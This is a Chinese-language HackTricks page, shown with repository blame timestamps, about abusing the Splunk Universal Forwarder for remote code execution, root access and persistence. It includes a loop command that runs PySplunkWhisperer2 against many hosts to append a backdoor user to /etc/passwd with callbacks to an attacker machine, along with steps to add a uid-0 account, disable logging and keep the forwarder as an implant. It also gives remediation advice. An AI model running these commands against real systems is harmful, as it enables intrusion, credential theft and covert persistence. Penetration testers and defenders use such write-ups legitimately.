hacktricks/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md

183 lines
13 KiB
Markdown
Raw Normal View History

# Splunk LPE和持久性
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
2022-04-28 16:01:33 +00:00
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
如果您在**内部**或**外部**对机器进行**枚举**,发现运行着**Splunk**端口8090如果您幸运地知道任何**有效的凭据**,您可以**滥用Splunk服务**来**执行shell**作为运行Splunk的用户。如果是root在运行它您可以将权限提升到root。
2022-04-28 16:01:33 +00:00
此外,如果您**已经是root并且Splunk服务没有仅在localhost上监听**,您可以**窃取**来自Splunk服务的**密码**文件并**破解**密码,或者**添加新的**凭据到它。并在主机上保持持久性。
2020-11-06 00:30:40 +00:00
在下面的第一张图片中您可以看到Splunkd网页的样子。
2020-11-06 00:30:40 +00:00
**以下信息摘自** [**https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/**](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)
2020-11-06 00:30:40 +00:00
## 滥用Splunk Forwarders获取Shell和持久性
2020-11-06 00:30:40 +00:00
2023-08-03 19:12:22 +00:00
2020年8月14日
2020-11-06 00:30:40 +00:00
### 描述:<a href="#description" id="description"></a>
2020-11-06 00:30:40 +00:00
Splunk Universal Forwarder AgentUF允许经过认证的远程用户通过Splunk API向代理发送单个命令或脚本。UF代理不验证连接是否来自有效的Splunk Enterprise服务器也不验证代码是否已签名或以其他方式证明来自Splunk Enterprise服务器。这允许攻击者在获得UF代理密码后在服务器上以SYSTEM或root身份运行任意代码具体取决于操作系统。
2020-11-06 00:30:40 +00:00
这种攻击正在被渗透测试人员使用,并且很可能正在被恶意攻击者在野外积极利用。获取密码可能导致客户环境中数百个系统的妥协。
2020-11-06 00:30:40 +00:00
Splunk UF密码相对容易获取详见常见密码位置部分。
2020-11-06 00:30:40 +00:00
### 背景:<a href="#context" id="context"></a>
2020-11-06 00:30:40 +00:00
Splunk是一个数据聚合和搜索工具通常用作安全信息和事件监控SIEM系统。Splunk Enterprise Server是一个在服务器上运行的Web应用程序有称为Universal Forwarders的代理安装在网络中的每个系统上。Splunk为Windows、Linux、Mac和Unix提供代理二进制文件。许多组织使用Syslog将数据发送到Splunk而不是在Linux/Unix主机上安装代理但代理安装变得越来越流行。
2020-11-06 00:30:40 +00:00
Universal Forwarder可以在每个主机上通过https://host:8089访问。访问任何受保护的API调用例如/service/会弹出一个基本认证框。用户名始终是admin密码默认曾经是changeme直到2016年Splunk要求任何新安装设置8个字符或更高的密码。正如您在我的演示中注意到的复杂性不是要求因为我的代理密码是12345678。远程攻击者可以在没有锁定的情况下暴力破解密码这是日志主机的必要条件因为如果账户被锁定那么日志将不再发送到Splunk服务器攻击者可以利用这一点来隐藏他们的攻击。以下屏幕截图显示了Universal Forwarder代理这个初始页面无需认证即可访问并可用于枚举运行Splunk Universal Forwarder的主机。
2020-11-06 00:30:40 +00:00
![0](https://eapolsniper.github.io/assets/2020AUG14/11\_SplunkAgent.png)
2020-11-06 00:30:40 +00:00
Splunk文档显示使用相同的Universal Forwarding密码对所有代理我不确定这是否是要求或者是否可以为每个代理设置单独的密码但基于文档和我作为Splunk管理员时的记忆我相信所有代理必须使用相同的密码。这意味着如果在一个系统上找到或破解了密码它很可能在所有Splunk UF主机上都有效。这是我个人的经验允许快速妥协数百个主机。
2020-11-06 00:30:40 +00:00
### 常见密码位置:<a href="#common-password-locations" id="common-password-locations"></a>
2020-11-06 00:30:40 +00:00
我经常在网络上的以下位置找到Splunk Universal Forwarding代理的明文密码
2020-11-06 00:30:40 +00:00
1. Active Directory Sysvol/domain.com/Scripts目录。管理员将可执行文件和密码存储在一起以便高效地安装代理。
2023-08-03 19:12:22 +00:00
2. 托管IT安装文件的网络文件共享
3. 内部网络上的Wiki或其他构建笔记存储库
2020-11-06 00:30:40 +00:00
密码也可以在Windows主机的Program Files\Splunk\etc\passwd中以哈希形式访问在Linux和Unix主机的/opt/Splunk/etc/passwd中访问。攻击者可以尝试使用Hashcat破解密码或者租用云破解环境以增加破解哈希的可能性。密码是强大的SHA-256哈希因此不太可能破解强大、随机的密码。
2020-11-06 00:30:40 +00:00
### 影响:<a href="#impact" id="impact"></a>
2020-11-06 00:30:40 +00:00
拥有Splunk Universal Forward Agent密码的攻击者可以完全妥协网络中的所有Splunk主机并在每个主机上获得SYSTEM或root级别的权限。我已经成功地在Windows、Linux和Solaris Unix主机上使用了Splunk代理。这种漏洞可能允许系统凭据被转储、敏感数据被窃取或勒索软件被安装。这种漏洞快速、易于使用且可靠。
2020-11-06 00:30:40 +00:00
由于Splunk处理日志攻击者可以在第一次运行命令时重新配置Universal Forwarder更改Forwarder位置禁用对Splunk SIEM的日志记录。这将大大降低被客户蓝队发现的机会。
2020-11-06 00:30:40 +00:00
Splunk Universal Forwarder通常安装在域控制器上进行日志收集这可以轻松地让攻击者提取NTDS文件禁用杀毒软件以进行进一步利用和/或修改域。
2020-11-06 00:30:40 +00:00
最后Universal Forwarding Agent不需要许可证并且可以单独配置密码。因此攻击者可以在主机上安装Universal Forwarder作为后门持久性机制因为它是一个合法的应用程序即使是那些不使用Splunk的客户也不太可能移除。
2020-11-06 00:30:40 +00:00
### 证据:<a href="#evidence" id="evidence"></a>
2020-11-06 00:30:40 +00:00
为了展示一个利用示例我使用最新的Splunk版本为Enterprise Server和Universal Forwarding代理设置了一个测试环境。共附加了10张图片到这份报告中展示了以下内容
2020-11-06 00:30:40 +00:00
2023-08-03 19:12:22 +00:00
1- 通过PySplunkWhisper2请求/etc/passwd文件
2020-11-06 00:30:40 +00:00
![1](https://eapolsniper.github.io/assets/2020AUG14/1\_RequestingPasswd.png)
2020-11-06 00:30:40 +00:00
2023-08-03 19:12:22 +00:00
2- 通过Netcat在攻击者系统上接收/etc/passwd文件
2020-11-06 00:30:40 +00:00
![2](https://eapolsniper.github.io/assets/2020AUG14/2\_ReceivingPasswd.png)
2020-11-06 00:30:40 +00:00
2023-08-03 19:12:22 +00:00
3- 通过PySplunkWhisper2请求/etc/shadow文件
2020-11-06 00:30:40 +00:00
![3](https://eapolsniper.github.io/assets/2020AUG14/3\_RequestingShadow.png)
2020-11-06 00:30:40 +00:00
2023-08-03 19:12:22 +00:00
4- 通过Netcat在攻击者系统上接收/etc/shadow文件
2020-11-06 00:30:40 +00:00
![4](https://eapolsniper.github.io/assets/2020AUG14/4\_ReceivingShadow.png)
2020-11-06 00:30:40 +00:00
2023-08-03 19:12:22 +00:00
5- 将用户attacker007添加到/etc/passwd文件中
2020-11-06 00:30:40 +00:00
![5](https://eapolsniper.github.io/assets/2020AUG14/5\_AddingUserToPasswd.png)
2020-11-06 00:30:40 +00:00
2023-08-03 19:12:22 +00:00
6- 将用户attacker007添加到/etc/shadow文件中
2020-11-06 00:30:40 +00:00
![6](https://eapolsniper.github.io/assets/2020AUG14/6\_AddingUserToShadow.png)
2020-11-06 00:30:40 +00:00
7- 接收新的/etc/shadow文件显示成功添加了attacker007
2020-11-06 00:30:40 +00:00
![7](https://eapolsniper.github.io/assets/2020AUG14/7\_ReceivingShadowFileAfterAdd.png)
2020-11-06 00:30:40 +00:00
8- 确认使用attacker007账户的SSH访问受害者
2020-11-06 00:30:40 +00:00
![8](https://eapolsniper.github.io/assets/2020AUG14/8\_SSHAccessUsingAttacker007.png)
2020-11-06 00:30:40 +00:00
9- 添加一个后门root账户用户名为root007uid/gid设置为0
2020-11-06 00:30:40 +00:00
![9](https://eapolsniper.github.io/assets/2020AUG14/9\_AddingBackdoorRootAccount.png)
2020-11-06 00:30:40 +00:00
10- 使用attacker007确认SSH访问然后使用root007升级到root
2020-11-06 00:30:40 +00:00
![10](https://eapolsniper.github.io/assets/2020AUG14/10\_EscalatingToRoot.png)
2020-11-06 00:30:40 +00:00
此时我通过Splunk和创建的两个用户账户持久访问主机其中一个提供root。我可以禁用远程日志记录来掩盖我的行踪并继续使用这个主机攻击系统和网络。
2020-11-06 00:30:40 +00:00
2023-08-03 19:12:22 +00:00
编写PySplunkWhisperer2脚本非常简单且有效。
2020-11-06 00:30:40 +00:00
1. 创建一个文件包含您想要利用的主机的IP示例名称ip.txt
2023-08-03 19:12:22 +00:00
2. 运行以下命令:
2020-11-06 00:30:40 +00:00
```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
2023-08-03 19:12:22 +00:00
主机信息:
2020-11-06 00:30:40 +00:00
Splunk Enterprise Server192.168.42.114\
Splunk Forwarder Agent 受害者192.168.42.98\
2023-08-03 19:12:22 +00:00
攻击者192.168.42.51
2020-11-06 00:30:40 +00:00
Splunk Enterprise 版本8.0.5(截至 2020 年 8 月 12 日实验室设置当天的最新版本)\
Universal Forwarder 版本8.0.5(截至 2020 年 8 月 12 日实验室设置当天的最新版本)
2020-11-06 00:30:40 +00:00
#### Splunk, Inc 的修复建议:<a href="#remediation-recommendations-for-splunk-inc" id="remediation-recommendations-for-splunk-inc"></a>
2020-11-06 00:30:40 +00:00
2023-08-03 19:12:22 +00:00
我建议实施以下所有解决方案以提供深度防御:
2020-11-06 00:30:40 +00:00
1. 理想情况下Universal Forwarder 代理根本不会开放端口,而是会定期轮询 Splunk 服务器以获取指令。
2. 启用客户端和服务器之间的 TLS 双向认证,并为每个客户端使用单独的密钥。这将在所有 Splunk 服务之间提供非常高的双向安全性。TLS 双向认证在代理和物联网设备中得到了大量实施,这是受信任设备客户端到服务器通信的未来。
3. 将所有代码、单行或脚本文件发送在由 Splunk 服务器加密和签名的压缩文件中。这不保护通过 API 发送的代理数据,但可以防止第三方恶意远程代码执行。
2020-11-06 00:30:40 +00:00
#### Splunk 客户的修复建议:<a href="#remediation-recommendations-for-splunk-customers" id="remediation-recommendations-for-splunk-customers"></a>
2020-11-06 00:30:40 +00:00
1. 确保为 Splunk 代理设置非常强的密码。我建议至少使用 15 个字符的随机密码,但由于这些密码从不输入,可以设置非常长的密码,例如 50 个字符。
2. 配置基于主机的防火墙,只允许 Splunk 服务器到端口 8089/TCPUniversal Forwarder 代理的端口)的连接。
2020-11-06 00:30:40 +00:00
### 红队的建议:<a href="#recommendations-for-red-team" id="recommendations-for-red-team"></a>
2020-11-06 00:30:40 +00:00
1. 下载每个操作系统的 Splunk Universal Forwarder 副本,因为它是一个很好的轻量级签名植入物。好在 Splunk 实际修复此问题的情况下保留副本。
2020-11-06 00:30:40 +00:00
### 其他研究人员的漏洞/博客 <a href="#exploitsblogs-from-other-researchers" id="exploitsblogs-from-other-researchers"></a>
2020-11-06 00:30:40 +00:00
可用的公开漏洞:
2020-11-06 00:30:40 +00:00
* https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
* https://www.exploit-db.com/exploits/46238
* https://www.exploit-db.com/exploits/46487
2023-08-03 19:12:22 +00:00
相关博客文章:
2020-11-06 00:30:40 +00:00
* https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/
* https://medium.com/@airman604/splunk-universal-forwarder-hijacking-5899c3e0e6b2
* https://www.hurricanelabs.com/splunk-tutorials/using-splunk-as-an-offensive-security-tool
_\*\* 注意:\*\*_ 这个问题是 Splunk 系统的一个严重问题,多年来已被其他测试人员利用。虽然远程代码执行是 Splunk Universal Forwarder 的预期功能,但其实现方式却很危险。我试图通过 Splunk 的漏洞赏金计划提交这个漏洞,非常不可能他们不知道设计的影响,但被告知任何漏洞提交都实施 Bug Crowd/Splunk 披露政策,该政策规定在没有 Splunk 许可的情况下,漏洞的任何细节都不得公开讨论。我请求了一个 90 天的披露时间表并被拒绝。因此,我没有负责任地披露这一点,因为我相当确定 Splunk 知道这个问题并选择忽略它,我觉得这可能严重影响公司,向企业界教育是信息安全社区的责任。
2022-04-28 16:01:33 +00:00
## 滥用 Splunk 查询
2022-04-28 16:01:33 +00:00
信息来自 [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)
2022-04-28 16:01:33 +00:00
**CVE-2023-46214** 允许将任意脚本上传到 **`$SPLUNK_HOME/bin/scripts`**,然后解释说使用搜索查询 **`|runshellscript script_name.sh`** 可以**执行**存储在那里的**脚本**
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (721).png" alt=""><figcaption></figcaption></figure>
<details>
2022-04-28 16:01:33 +00:00
<summary><strong>从零开始学习 AWS 黑客攻击,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持 HackTricks 的其他方式:
2022-04-28 16:01:33 +00:00
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
2022-04-28 16:01:33 +00:00
</details>